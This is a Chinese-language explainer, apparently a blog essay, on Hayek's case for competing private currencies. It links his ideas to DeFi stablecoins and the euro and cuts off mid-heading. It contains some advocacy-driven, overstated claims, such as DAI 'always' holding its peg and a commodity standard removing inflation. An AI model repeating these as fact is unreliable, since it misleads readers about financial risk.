从历史中得出的制度性结论</h3><p><strong>哈耶克的核心论证</strong>：</p><ol><li><strong>普遍性</strong>：货币滥用在所有时代、所有国家都存在，说明这不是偶然现象</li><li><strong>系统性</strong>：问题的根源不在个别统治者的品德，而在制度设计</li><li><strong>必然性</strong>：在政府货币垄断的制度框架下，滥用是理性的选择</li><li><strong>持续性</strong>：技术进步没有解决问题，反而可能使问题更严重</li></ol><p><strong>逻辑推论</strong>：如果历史证明政府在货币领域系统性失败，而这种失败源于制度本身而非偶然因素，那么解决方案不应该是改进政府政策，而应该是改变制度本身。</p><p><strong>哈耶克的关键问题</strong>：如果我们不会把食品生产交给政府垄断（因为担心腐败和低效），为什么要把同样重要的货币生产交给政府垄断？</p><h2 id="三、竞争性货币的运作逻辑：哈耶克的制度设计">三、竞争性货币的运作逻辑：哈耶克的制度设计</h2><h3 id="3-1-私人货币竞争的具体机制">3.1 私人货币竞争的具体机制</h3><p><strong>哈耶克面临的挑战</strong>：如何设计一个既能发挥竞争优势，又能避免混乱的货币体系？</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;竞争性货币体系设计&quot;        A[多元化发行主体] --&gt; D[市场选择机制]        B[差异化货币标识] --&gt; D        C[透明信息披露] --&gt; D        A --&gt; A1[银行]        A --&gt; A2[金融公司]        A --&gt; A3[大型企业]        B --&gt; B1[不同名称]        B --&gt; B2[价值基准声明]        B --&gt; B3[兑换承诺]        C --&gt; C1[发行量公开]        C --&gt; C2[储备情况]        C --&gt; C3[政策透明]        D --&gt; E[自由选择使用]        D --&gt; F[汇率市场决定]        D --&gt; G[竞争优胜劣汰]        E --&gt; H[货币质量提升]        F --&gt; H        G --&gt; H    end    style A fill:#ccffcc    style B fill:#ffcccc    style C fill:#ccccff    style D fill:#ffffcc    style H fill:#ffcc99</code></pre><p><strong>制度设计的核心要素</strong>：</p><p><strong>1. 发行主体的多元化</strong></p><ul><li><strong>参与者</strong>：银行、金融公司、大型企业等信誉良好的机构</li><li><strong>准入条件</strong>：不是任何人都能发币，需要有足够的资本和信誉保证</li><li><strong>法律地位</strong>：私人货币获得与政府货币同等的法律认可</li></ul><p><strong>2. 货币标识的差异化</strong></p><ul><li><strong>名称区别</strong>：不同机构发行的货币有不同名称（如&quot;哈耶克银行达克特&quot;）</li><li><strong>价值基准</strong>：每种货币都明确声明其价值锚定标准</li><li><strong>兑换承诺</strong>：发行机构承诺按声明的比率兑换其货币</li></ul><p><strong>3. 市场选择机制</strong></p><ul><li><strong>自由使用</strong>：公众可以自由选择使用任何一种货币进行交易</li><li><strong>汇率浮动</strong>：不同货币之间的汇率由市场供求决定</li><li><strong>信息公开</strong>：各种货币的发行量、储备情况等信息公开透明</li></ul><h3 id="3-2-竞争如何确保货币质量：激励机制分析">3.2 竞争如何确保货币质量：激励机制分析</h3><p><strong>哈耶克的核心洞察</strong>：私人发币机构面临的激励结构与政府根本不同。</p><p><strong>私人机构的收入模式分析</strong>：</p><p><strong>1. 收入来源</strong></p><ul><li><strong>主要收入</strong>：铸币税（货币面值与发行成本的差额）</li><li><strong>附加收入</strong>：相关金融服务费用</li><li><strong>长期收入</strong>：建立在货币信誉基础上的持续业务</li></ul><p><strong>2. 收入与货币质量的关系</strong></p><ul><li><strong>直接关联</strong>：只有人们信任并使用其货币，才有铸币税收入</li><li><strong>网络效应</strong>：使用者越多，货币越有价值，收入越高</li><li><strong>信誉资本</strong>：货币稳定性直接影响机构的整体信誉和业务</li></ul><p><strong>3. 约束机制</strong></p><ul><li><strong>立即惩罚</strong>：货币贬值会导致用户立即转向其他货币</li><li><strong>破产风险</strong>：失去用户意味着失去收入来源，面临破产</li><li><strong>无救助</strong>：没有政府兜底，必须对自己的决策负责</li></ul><p><strong>关键推理</strong>：因为私人机构的生存完全依赖于货币质量，所以它们有最强烈的动机维持货币稳定。</p><h3 id="3-3-价值稳定机制：如何解决技术难题">3.3 价值稳定机制：如何解决技术难题</h3><p><strong>面临的挑战</strong>：如何确保私人货币保持稳定价值？</p><p><strong>哈耶克的解决方案</strong>：</p><p><strong>1. 价值锚定策略</strong></p><p><strong>哈耶克的核心方案</strong>：以&quot;商品批发价指数&quot;为货币价值基准。</p><p>哈耶克在书中明确提出：</p><blockquote><p>“商品批发价作为跨国货币价值的标准”</p></blockquote><p><strong>概念的详细解释</strong>：</p><p><strong>什么是&quot;一篮子商品的批发价格指数&quot;？</strong></p><ul><li><strong>商品篮子构成</strong>：选择多种基础商品，如粮食（小麦、玉米）、金属（铜、铝）、能源（石油、天然气）等</li><li><strong>批发价格</strong>：这些商品在大宗交易市场的价格，而非零售价格</li><li><strong>指数化处理</strong>：将各商品价格按重要性加权，形成综合指数</li><li><strong>基准设定</strong>：以某个时点的指数值为100，追踪其变化</li></ul><p><strong>与现代概念的对比</strong>：</p><ul><li>类似于今天的CPI（消费者价格指数），但更侧重生产资料</li><li>类似于PPI（生产者价格指数），但覆盖面更广</li><li>近似于现代的&quot;商品价格指数&quot;或&quot;大宗商品指数&quot;</li></ul><p><strong>技术优势分析</strong>：</p><ol><li><strong>分散风险</strong>：多种商品组合避免单一商品价格异常波动</li><li><strong>反映实际价值</strong>：商品篮子代表真实的经济价值，而非纸面承诺</li><li><strong>透明可验证</strong>：批发价格公开透明，任何人都可以验证</li><li><strong>跨国适用</strong>：大宗商品价格具有国际性，适合跨境货币</li></ol><p><strong>具体操作示例</strong>：<br>假设&quot;哈耶克银行&quot;发行&quot;稳定达克特&quot;（Stable Ducat），承诺维持商品篮子价格稳定：</p><ul><li><strong>篮子构成</strong>：小麦20%、石油15%、铜10%、大豆10%、黄金5%、其他40%</li><li><strong>稳定机制</strong>：当篮子价格上涨超过5%时，银行回购货币减少供应；下跌超过5%时，增发货币</li><li><strong>兑换承诺</strong>：银行承诺按固定比率用商品或等值货币兑换达克特</li></ul><pre><code class="highlight mermaid">graph TD    subgraph &quot;价值稳定机制 (负反馈循环)&quot;        A[&quot;私人银行设定目标:&lt;br&gt;维持货币购买力稳定&quot;] --&gt; B[&quot;锚定基准:&lt;br&gt;一篮子商品批发价指数 (目标=100)&quot;];        B --&gt; C&#123;持续监控指数的实时价格&#125;;        C -- &quot;价格 &gt; 100 (通胀/货币贬值)&quot; --&gt; D[&quot;调节措施: 收缩货币供应&quot;];        D --&gt; D1[&quot;减少贷款&lt;br&gt;在市场回购本行货币&quot;];        D1 --&gt; E[&quot;结果: 货币变得稀缺&lt;br&gt;购买力回升&quot;];        C -- &quot;价格 &lt; 100 (通缩/货币过强)&quot; --&gt; F[&quot;调节措施: 扩张货币供应&quot;];        F --&gt; F1[&quot;增加贷款&lt;br&gt;在市场投放本行货币&quot;];        F1 --&gt; G[&quot;结果: 货币变得充裕&lt;br&gt;购买力温和下降&quot;];        E --&gt; C;        G --&gt; C;    end    subgraph &quot;背后的激励机制 (来自3.2节)&quot;        H[&quot;成功: 货币保持稳定&quot;] --&gt; I[&quot;用户产生信任, 广泛使用&quot;];        I --&gt; J[&quot;结果: 获得持续利润 (铸币税等)&quot;];        K[&quot;失败: 货币不稳定&quot;] --&gt; L[&quot;用户失去信任, 转向竞品&quot;];        L --&gt; M[&quot;结果: 业务崩溃, 最终破产&quot;];    end    A --&gt; H;    A --&gt; K;    style J fill:#c9ffc9,stroke:#333,stroke-width:2px    style M fill:#ffc9c9,stroke:#333,stroke-width:2px</code></pre><p><strong>现代可行性分析</strong>：</p><p><strong>技术上完全可行</strong>：</p><ul><li><strong>现有基础设施</strong>：大宗商品期货市场已高度发达，价格透明实时</li><li><strong>指数技术成熟</strong>：CRB指数、DJP指数等商品指数运行多年</li><li><strong>智能合约支持</strong>：区块链技术可以自动执行价格锚定机制</li><li><strong>实际案例</strong>：一些DeFi项目已在尝试多资产抵押的稳定币</li></ul><p><strong>相比美元挂钩的优势</strong>：</p><ol><li><strong>真实价值锚定</strong>：基于实物商品而非政府信用</li><li><strong>抗通胀属性</strong>：商品价格上涨时货币购买力自动调整</li><li><strong>全球通用性</strong>：不依赖特定国家的政治稳定</li><li><strong>透明可验证</strong>：任何人都可以验证商品价格</li></ol><p><strong>美元的真实属性分析</strong>：</p><p><strong>美元并不具备商品篮子属性</strong>：</p><ul><li><strong>信用货币本质</strong>：美元价值完全基于美国政府信用，无实物支撑</li><li><strong>通胀侵蚀</strong>：1971年脱离金本位后，美元购买力持续下降</li><li><strong>政策影响</strong>：美联储政策直接影响美元价值，缺乏客观标准</li><li><strong>国际地位依赖</strong>：主要靠军事和经济霸权维持储备货币地位</li></ul><p><strong>数据对比</strong>（1971-2023）：</p><ul><li>美元购买力下降约85%</li><li>同期大宗商品价格上涨约15倍</li><li>黄金价格从35美元/盎司涨至约2000美元/盎司</li></ul><p><strong>哈耶克方案的现代优势</strong>：<br>如果1971年采用商品篮子本位而非纯信用美元：</p><ul><li>购买力将更加稳定</li><li>通胀问题可能根本不存在</li><li>经济周期波动可能大幅减少</li></ul><p><strong>实际项目探索：DAI的哈耶克实践</strong></p><p><strong>MakerDAO的DAI：哈耶克理论的最佳实现</strong></p><p>DAI稳定币是迄今为止最接近哈耶克设想的私人货币竞争模式：</p><p><strong>设计原理的哈耶克特征</strong>：</p><ol><li><strong>多资产抵押</strong>：用户可以抵押ETH、WBTC、USDC等多种资产生成DAI</li><li><strong>市场驱动</strong>：稳定机制完全依赖市场套利，而非行政命令</li><li><strong>透明治理</strong>：所有参数调整通过DAO投票，公开透明</li><li><strong>竞争约束</strong>：面临USDT、USDC等稳定币的直接竞争</li></ol><p><strong>技术机制验证哈耶克预测</strong>：</p><ul><li><strong>自动化调节</strong>：当DAI价格偏离1美元时，稳定费率自动调整，影响供应量</li><li><strong>清算机制</strong>：抵押品价值下降时自动触发清算，保护DAI持有者</li><li><strong>储备缓冲</strong>：协议盈余自动积累，形成&quot;储备基金&quot;</li><li><strong>治理代币</strong>：MKR持有者承担最终风险，激励审慎管理</li></ul><p><strong>现实表现数据</strong>：</p><ul><li><strong>稳定性测试</strong>：经历了2020年3.12黑天鹅、Terra崩盘等多次危机，始终维持锚定</li><li><strong>市场采用</strong>：市值长期维持在50-60亿美元，成为第三大稳定币</li><li><strong>透明度优势</strong>：所有抵押品、参数、治理决议完全公开，超越传统银行</li></ul><p><strong>相比USDT的优势体现</strong>：</p><ul><li><strong>无政府风险</strong>：不依赖任何央行政策或政府信用</li><li><strong>多元化储备</strong>：避免了USDT对美国银行体系的单点依赖</li><li><strong>程序化管理</strong>：减少了人为干预和操作风险</li></ul><p><strong>DEX永续合约的完美竞争</strong></p><p>去中心化衍生品交易所展现了哈耶克竞争理论的现代实现：</p><p><strong>激烈竞争的具体表现</strong>：</p><ul><li><strong>产品创新竞赛</strong>：从GMX的GLP模式到dYdX的订单簿，每个协议都在差异化创新</li><li><strong>费率竞争</strong>：交易费用从传统交易所的0.1%降至DEX的0.02-0.05%</li><li><strong>用户体验军备竞赛</strong>：界面优化、交易速度、滑点控制持续改进</li><li><strong>资本效率比拼</strong>：杠杆倍数、保证金要求、清算机制不断优化</li></ul><p><strong>市场约束的即时性</strong>：</p><ul><li><strong>资金流动</strong>：用户可以瞬间将资金从一个协议转移到另一个</li><li><strong>透明对比</strong>：链上数据让所有协议的表现一目了然</li><li><strong>无准入壁垒</strong>：任何团队都可以开发新的DEX协议参与竞争</li></ul><p><strong>其他探索项目的启示</strong>：</p><p><strong>失败案例的教训</strong>：</p><ul><li><strong>Terra UST</strong>：算法稳定币的死亡螺旋风险<blockquote><p>教训：纯算法机制缺乏足够的储备缓冲，面临信心危机时易崩溃</p></blockquote></li><li><strong>Iron Finance TITAN</strong>：部分抵押模式的脆弱性<blockquote><p>教训：混合模式在极端情况下可能失去所有锚定机制</p></blockquote></li></ul><p><strong>成功案例的经验</strong>：</p><ul><li><strong>Ampleforth协议</strong>：通过供应量调节维持购买力稳定<blockquote><p>启示：弹性供应机制可以作为价格稳定的补充手段</p></blockquote></li><li><strong>Frax Protocol</strong>：部分抵押的稳定币创新<blockquote><p>启示：动态调整抵押率可以提高资本效率</p></blockquote></li></ul><p><strong>关键成功因素总结</strong>：</p><ol><li><strong>充足抵押</strong>：过度抵押提供安全边际</li><li><strong>多元储备</strong>：避免单一资产的系统性风险</li><li><strong>透明治理</strong>：所有决策过程公开，接受市场监督</li><li><strong>程序化执行</strong>：减少人为干预，增强可预测性</li></ol><p><strong>技术挑战与解决方案</strong>：</p><ol><li><strong>预言机问题</strong>：如何准确获取商品价格？<ul><li>解决：多源预言机聚合，去中心化价格馈送</li></ul></li><li><strong>流动性管理</strong>：如何确保随时兑换？<ul><li>解决：储备池机制，类似央行外汇储备</li></ul></li><li><strong>治理机制</strong>：如何调整商品篮子构成？<ul><li>解决：DAO治理，社区投票决定</li></ul></li></ol><p><strong>可行性结论</strong>：<br>基于商品篮子的稳定币在技术上完全可行，甚至可能比美元挂钩的稳定币更优越。关键在于：</p><ul><li><strong>机制设计</strong>：确保激励相容，防止死亡螺旋</li><li><strong>储备管理</strong>：维持充足的多元化储备</li><li><strong>治理透明</strong>：确保操作公开透明，接受市场监督</li></ul><p>这正是哈耶克70年代设想的在现代技术条件下的实现路径。</p><p><strong>2. 技术控制手段</strong></p><ul><li><strong>供应量调节</strong>：根据价格指数变化调整货币发行量</li><li><strong>回购机制</strong>：当价格上升时，主动回购货币减少供应</li><li><strong>储备管理</strong>：维持充足的商品或其他资产储备</li></ul><p><strong>3. 监督约束体系</strong></p><ul><li><strong>媒体监督</strong>：哈耶克称之为&quot;一千只猎狗&quot;——警觉的新闻媒体会密切关注货币表现</li><li><strong>专业机构</strong>：评级机构、研究机构对各种货币进行评估</li><li><strong>用户监督</strong>：每个用户都是潜在的监督者，随时准备转换货币</li></ul><p><strong>理论基础</strong>：哈耶克认为，这种多重约束比政府的政治承诺更可靠。</p><h3 id="3-4-格雷欣法则-的重新审视">3.4 &quot;格雷欣法则&quot;的重新审视</h3><p><strong>经典格雷欣法则</strong>：“劣币驱逐良币”——人们倾向于保留好货币，花掉坏货币。</p><p><strong>哈耶克的澄清</strong>：这个法则只在特定条件下成立，即<strong>政府强制规定不同货币具有相同法定价值时</strong>。</p><p><strong>逻辑分析</strong>：</p><ol><li><strong>强制等价的前提</strong>：政府法律规定金币和银币必须按固定比率兑换</li><li><strong>市场价值的差异</strong>：实际上金币比银币更值钱</li><li><strong>理性行为的结果</strong>：人们自然会保留金币，使用银币支付</li><li><strong>政府干预的恶果</strong>：是政府的强制规定创造了这种扭曲</li></ol><p><strong>在自由竞争中的情况</strong>：</p><ul><li><strong>价格自由浮动</strong>：不同货币的汇率由市场决定</li><li><strong>质量差异反映</strong>：好货币自然会有更高的汇率</li><li><strong>真实的格雷欣法则</strong>：“良币驱逐劣币”——人们更愿意接受和持有稳定的货币</li></ul><p><strong>历史证据</strong>：</p><ul><li><strong>苏格兰案例</strong>：18-19世纪苏格兰的私人银行竞争中，信誉好的银行发行的纸币更受欢迎</li><li><strong>美国经验</strong>：南北战争前，质量好的银行纸币能够以更好的汇率兑换</li><li><strong>国际比较</strong>：现代国际货币竞争中，稳定货币（如瑞士法郎）更受青睐</li></ul><h3 id="3-5-竞争优势的系统性分析">3.5 竞争优势的系统性分析</h3><p><strong>哈耶克论证竞争制度优于垄断制度的具体理由</strong>：</p><p><strong>1. 信息处理优势</strong></p><ul><li><strong>分散决策</strong>：多个发币机构比单一政府能处理更多信息</li><li><strong>市场信号</strong>：价格变化能够快速传递供求信息</li><li><strong>创新激励</strong>：竞争促使不断改进货币技术和服务</li></ul><p><strong>2. 风险分散效应</strong></p><ul><li><strong>系统性风险降低</strong>：不会因为一个机构的失误影响整个货币体系</li><li><strong>多样化选择</strong>：不同风险偏好的用户可以选择不同的货币</li><li><strong>自然保险机制</strong>：货币间的竞争提供了天然的保险</li></ul><p><strong>3. 自我纠错机制</strong></p><ul><li><strong>快速反应</strong>：问题货币会被市场迅速淘汰</li><li><strong>持续改进</strong>：为了维持竞争力，机构必须不断提升服务质量</li><li><strong>学习效应</strong>：成功的做法会被其他机构学习和推广</li></ul><p><strong>核心结论</strong>：哈耶克通过详细的制度设计和逻辑分析，论证了私人货币竞争不仅可行，而且能够提供比政府垄断更好的货币。</p><h2 id="四、实践路径：哈耶克的渐进改革策略">四、实践路径：哈耶克的渐进改革策略</h2><h3 id="4-1-为什么选择欧洲作为起点？">4.1 为什么选择欧洲作为起点？</h3><p><strong>哈耶克的战略考虑</strong>：他意识到完全废除政府货币垄断&quot;过于突兀&quot;，需要一个务实的过渡方案。</p><p><strong>选择欧洲的理由分析</strong>：</p><ol><li><strong>政治可行性</strong>：欧洲一体化进程已经为货币合作创造了政治基础</li><li><strong>经济相似性</strong>：发达程度相近的国家更容易实现货币竞争</li><li><strong>制度基础</strong>：法治传统和市场经济基础较为完善</li><li><strong>示范效应</strong>：欧洲的成功可以为其他地区提供模板</li></ol><h3 id="4-2-欧洲货币自由化方案的具体设计">4.2 欧洲货币自由化方案的具体设计</h3><p><strong>哈耶克的三步走战略</strong>：</p><p><strong>第一步：法律基础构建</strong></p><ul><li><strong>条约签署</strong>：各国政府签署正式条约，相互承诺不干预他国货币流通</li><li><strong>法律保障</strong>：确保任何货币都可以用于合同签署和债务清偿</li><li><strong>执行机制</strong>：建立争端解决机制，防止各国违背承诺</li></ul><p><strong>第二步：制度环境优化</strong></p><ul><li><strong>外汇管制取消</strong>：废除一切阻碍货币自由流动的管制措施</li><li><strong>银行业开放</strong>：允许各国银行在他国自由设立分支机构</li><li><strong>信息透明化</strong>：要求各国货币当局公开政策信息</li></ul><p><strong>第三步：市场机制发挥</strong></p><ul><li><strong>自然选择</strong>：让市场决定哪种货币更受欢迎</li><li><strong>政策竞争</strong>：各国为了维护本币地位，被迫改善货币政策</li><li><strong>逐步演化</strong>：通过竞争压力推动整个体系向更优化方向发展</li></ul><h3 id="4-3-对欧洲统一货币的深度批判">4.3 对欧洲统一货币的深度批判</h3><p><strong>哈耶克的预言性洞察</strong>：</p><p><strong>统一货币的根本缺陷</strong>：</p><ol><li><strong>政策统一的不可能性</strong>：各国经济发展水平、产业结构、政治偏好不同，无法实行统一的货币政策</li><li><strong>最优货币区理论的局限</strong>：欧洲并不满足“最优货币区”（Optimal Currency Area）的经典条件。</li><li><strong>民主赤字问题</strong>：超国家货币当局缺乏足够的民主合法性</li><li><strong>系统性风险放大</strong>：统一货币将各国绑定在一起，一国危机可能蔓延至全体</li></ol><blockquote><p><strong>名词解释</strong>: “最优货币区”理论指出，要让多个地区成功使用单一货币，它们需要具备高度的<strong>劳动力自由流动</strong>（失业地区的工人可以轻松去繁荣地区找工作）和有效的<strong>财政转移支付</strong>机制（富裕地区可以通过税收补贴贫困地区），以此来缓冲不对称的经济冲击。哈耶克认为欧洲远未达到这些标准。</p></blockquote><p><strong>竞争方案的优势</strong>：</p><ul><li><strong>政策多样性</strong>：不同国家可以采用适合自身的货币政策</li><li><strong>风险分散</strong>：问题货币不会影响整个体系</li><li><strong>创新激励</strong>：竞争促使各国不断改进政策</li><li><strong>自然选择</strong>：市场选择最优货币，而非政治妥协</li></ul><p><strong>历史验证的深度分析</strong>：</p><p><strong>欧债危机的教训</strong>：</p><ul><li><strong>汇率调整机制缺失</strong>：希腊等国无法通过货币贬值恢复竞争力</li><li><strong>财政纪律软约束</strong>：统一货币降低了市场对财政风险的敏感性</li><li><strong>政策传导失效</strong>：欧央行的统一政策无法解决结构性差异</li><li><strong>政治矛盾激化</strong>：南北欧国家在政策取向上的分歧日益尖锐</li></ul><p><strong>哈耶克方案的优势体现</strong>：如果当时采用货币竞争而非统一货币，德国马克可能成为主导货币，而希腊等国可以保留本币并通过贬值调整，避免了长期的紧缩政策。</p><h2 id="五、理论创新：挑战传统货币理论的核心概念">五、理论创新：挑战传统货币理论的核心概念</h2><h3 id="5-1-法币-概念的系统性解构">5.1 &quot;法币&quot;概念的系统性解构</h3><p><strong>哈耶克的分析方法</strong>：通过历史溯源和逻辑分析相结合，揭示法币概念的真实本质。</p><p><strong>概念澄清的重要性</strong>：</p><ul><li><strong>普遍误解</strong>：大多数人以为法币是货币存在的前提</li><li><strong>理论混乱</strong>：经济学教科书对法币概念缺乏准确定义</li><li><strong>政策误导</strong>：错误的法币概念为政府货币垄断提供了理论支撑</li></ul><p><strong>法币的真实定义与作用</strong>：</p><p><strong>严格定义</strong>：法币仅指&quot;债权人在清偿债务时不得拒绝接受的货币&quot;，而非货币价值的来源。</p><p><strong>概念解释</strong>：<br>这里需要澄清债权债务关系：</p><ul><li><strong>债务人</strong>：欠钱的人（借款人）</li><li><strong>债权人</strong>：被欠钱的人（放款人）</li><li><strong>清偿债务</strong>：债务人向债权人还钱的行为</li></ul><pre><code class="highlight mermaid">graph TD    A[债务关系建立] --&gt; B[张三向李四借1000元黄金]    B --&gt; C[约定一个月后归还]    C --&gt; D&#123;到期还款&#125;    D --&gt; E[正常情况]    D --&gt; F[法币强制情况]    E --&gt; E1[张三还1000元黄金]    E1 --&gt; E2[李四必须接受同等价值]    E2 --&gt; E3[公平交易完成]    F --&gt; F1[政府发行贬值纸币]    F1 --&gt; F2[张三用贬值纸币还债]    F2 --&gt; F3[法律强制李四接受]    F3 --&gt; F4[李四承受贬值损失]    F4 --&gt; G[法币制度本质]    G --&gt; H[强制性价值转移]    H --&gt; I[政府转嫁货币风险]    style F fill:#ffcccc    style F4 fill:#ff9999    style H fill:#ffffcc</code></pre><p><strong>法币的强制性本质：价值转移的法律机制</strong></p><p><strong>法币的作用机制示例</strong>：</p><blockquote><p>例如：张三向李四借了1000元黄金，约定一个月后归还。<br>到期时，张三想用贬值了的纸币偿还，李四本想拒绝。<br>但法币法律规定：李四&quot;不得拒绝接受&quot;纸币偿还。<br>结果：法律强制李四承受货币贬值的损失。</p></blockquote><p><strong>哈耶克发现的核心问题</strong>：</p><p><strong>法币制度的本质是强制性价值转移</strong>：<br>这个机制的深层含义极其重要，但常被忽视：</p><ol><li><p><strong>债务关系的扭曲</strong>：</p><ul><li><strong>原始逻辑</strong>：借什么还什么，借黄金还黄金，借好货币还好货币</li><li><strong>法币逻辑</strong>：可以用法定&quot;坏钱&quot;强制偿还&quot;好钱&quot;债务</li><li><strong>实际后果</strong>：债权人被迫承担货币质量下降的损失</li></ul></li><li><p><strong>风险分配的不公</strong>：</p><ul><li><strong>正常市场</strong>：货币发行者承担信用风险，用户自主选择</li><li><strong>法币制度</strong>：政府转嫁货币风险给所有债权人</li><li><strong>具体机制</strong>：通过法律强制，将通胀损失分摊给整个社会</li></ul></li><li><p><strong>交易自由的限制</strong>：</p><ul><li><strong>契约自由</strong>：本应允许当事人约定偿还货币类型</li><li><strong>法币干预</strong>：法律强制规定必须接受特定货币</li><li><strong>选择权剥夺</strong>：债权人失去拒绝劣质货币的权利</li></ul></li></ol><p><strong>现代案例验证</strong>：</p><p><strong>人民币法偿性的类似机制</strong>：<br>中国《人民币管理条例》规定：“中华人民共和国的法定货币是人民币。以人民币支付中华人民共和国境内的一切公共的和私人的债务，任何单位和个人不得拒绝接受。”</p><p><strong>这种规定的实际效果</strong>：</p><ul><li><strong>强制接受</strong>：即使人民币购买力下降，债权人也必须接受</li><li><strong>选择排斥</strong>：不能在合同中要求用黄金、美元等其他价值标准偿还</li><li><strong>风险转嫁</strong>：通胀风险从政府转移到所有持币者和债权人</li></ul><p><strong>格雷欣法则的深层原理</strong>：<br>哈耶克指出，&quot;劣币驱逐良币&quot;并非市场机制的自然结果，而是法币制度造成的扭曲：</p><p><strong>自然市场中的货币竞争</strong>：</p><ul><li><strong>价值发现</strong>：好货币会有更高的市场汇率</li><li><strong>自主选择</strong>：人们倾向于持有和使用好货币</li><li><strong>良币胜出</strong>：市场自然淘汰劣质货币</li></ul><p><strong>法币制度下的强制等价</strong>：</p><ul><li><strong>人为固定汇率</strong>：法律规定不同货币具有相同法定价值</li><li><strong>强制接受</strong>：债权人无法拒绝劣质货币</li><li><strong>结果扭曲</strong>：人们被迫使用劣币，囤积良币</li></ul><p><strong>具体运作机制</strong>：</p><blockquote><p>历史案例：金币和银币被法律规定为等价（比如都是1元面额）<br>市场现实：金币实际价值更高<br>理性行为：人们用银币支付（因为法律强制对方必须接受）<br>保存金币：金币被囤积起来，退出流通<br>最终结果：市场上只剩下银币（劣币）流通</p></blockquote><p><strong>现代DeFi中的反例验证</strong>：</p><pre><code class="highlight mermaid">graph LR    subgraph &quot;传统法币制度&quot;        A1[金币银币等价] --&gt; A2[强制接受]        A2 --&gt; A3[使用劣币支付]        A3 --&gt; A4[囤积良币]        A4 --&gt; A5[劣币驱逐良币]    end    subgraph &quot;DeFi自由市场&quot;        B1[多种稳定币竞争] --&gt; B2[用户自主选择]        B2 --&gt; B3[优质币获得采用]        B3 --&gt; B4[劣质币被淘汰]        B4 --&gt; B5[良币驱逐劣币]    end    A5 --&gt; C[格雷欣法则]    B5 --&gt; D[反格雷欣现象]    C --&gt; E[法币制度扭曲]    D --&gt; F[市场自然选择]    style A1 fill:#ffcccc    style A5 fill:#ff9999    style B1 fill:#ccffcc    style B5 fill:#99ff99    style E fill:#ffffcc    style F fill:#ccffff</code></pre><p><strong>市场自由选择的实际效果</strong>：<br>在没有法币强制的DeFi环境中，我们观察到相反的现象：</p><ul><li><strong>优质稳定币胜出</strong>：USDT、USDC因为稳定性和流动性成为主流</li><li><strong>劣质项目淘汰</strong>：缺乏实际价值的代币迅速归零</li><li><strong>良币驱逐劣币</strong>：用户主动选择更可靠的货币</li></ul><p>这证明了哈耶克的核心观点：<strong>劣币驱逐良币是法币制度的人为产物，而非市场竞争的自然结果</strong>。</p><p><strong>法币制度的系统性危害</strong>：</p><p><strong>对经济正义的破坏</strong>：</p><ol><li><strong>财富重新分配</strong>：通过通胀隐性地将财富从债权人转移给债务人（通常是政府）</li><li><strong>契约神圣性破坏</strong>：法律允许用贬值货币履行原有债务</li><li><strong>储蓄者惩罚</strong>：持币者被迫承担货币贬值损失</li></ol><p><strong>对市场机制的扭曲</strong>：</p><ol><li><strong>价格信号失真</strong>：强制等价掩盖了货币的真实价值差异</li><li><strong>竞争机制失效</strong>：法律保护阻止了优质货币的自然胜出</li><li><strong>创新动力缺失</strong>：垄断地位消除了改进货币质量的激励</li></ol><p><strong>哈耶克的根本洞察</strong>：</p><blockquote><p>“法币概念为政府货币垄断提供了看似合理的理论包装，但其实质是通过法律强制将货币贬值的损失转嫁给整个社会。这种制度安排不仅不公正，而且低效，应该被货币自由竞争所取代。”</p><p><strong>正常情况</strong>：张三还给李四1000元现金，债务清偿完毕。</p><p><strong>法币强制情况</strong>：如果政府规定某种新货币为法币，那么即使李四不愿意接受这种新货币，法律也强制李四必须接受张三用等面值的新货币还债。</p></blockquote><p><strong>哈耶克的批评要点</strong>：<br>法币制度实质上是政府强制改变私人合同条款：</p><ul><li><strong>原始约定</strong>：用当时的&quot;好钱&quot;借贷</li><li><strong>法币干预</strong>：强制用&quot;坏钱&quot;偿还</li><li><strong>损失转移</strong>：通过法律手段将货币贬值损失转嫁给债权人</li></ul><p><strong>历史实例</strong>：</p><ul><li><strong>美国内战后</strong>：债权人被迫接受贬值的纸币偿还原本用金币的债务</li><li><strong>德国恶性通胀期</strong>：&quot;马克就是马克&quot;原则，债权人必须接受一文不值的马克</li></ul><p><strong>历史演变分析</strong>：</p><ol><li><strong>中世纪起源</strong>：&quot;价值强加&quot;学说认为政府法令赋予货币价值</li><li><strong>现代复活</strong>：德国教授纳普在20世纪初重新提出&quot;货币国家理论&quot;</li><li><strong>政治利用</strong>：政府利用这种理论为货币垄断提供合法性</li></ol><p><strong>实际作用机制</strong>：</p><ul><li><strong>强制接受</strong>：法律强迫债权人接受政府指定的支付手段</li><li><strong>价值转移</strong>：通过法币制度将通胀损失转嫁给债权人</li><li><strong>合同变更</strong>：实质上是政府单方面修改私人合同条款</li></ul><p><strong>法勒尔爵士的深刻洞察</strong>（1895年）：</p><blockquote><p>“法币制度使债务人能够支付并使债权人接受某种与他们合同中所规定的标的不同的东西。这是运用专断的权力将一种强制的、反常的东西强加于人们的交易过程。”</p></blockquote><h3 id="5-2-货币数量论在竞争体系中的失效">5.2 货币数量论在竞争体系中的失效</h3><p><strong>传统货币数量论的基本假设</strong>：</p><ul><li>存在统一的&quot;货币供应量&quot;概念</li><li>货币供应量与价格水平之间存在稳定关系</li><li>政府可以通过控制货币供应量控制通胀</li></ul><p><strong>哈耶克的理论创新</strong>：</p><p><strong>竞争体系下的新情况</strong>：</p><ol><li><strong>多种货币并存</strong>：不存在单一的货币供应量</li><li><strong>相对价格变化</strong>：重要的是不同货币之间的相对价格</li><li><strong>需求导向</strong>：货币供应主要由需求决定，而非供应方控制</li><li><strong>自我调节机制</strong>：市场竞争自动调节供求平衡</li></ol><p><strong>理论含义</strong>：</p><ul><li><strong>宏观经济学的重构</strong>：需要新的理论框架分析多货币竞争</li><li><strong>政策工具的失效</strong>：传统的货币政策工具失去意义</li><li><strong>新的稳定机制</strong>：依靠市场竞争而非政府调控维持稳定</li></ul><h3 id="5-3-经济周期理论的根本性修正">5.3 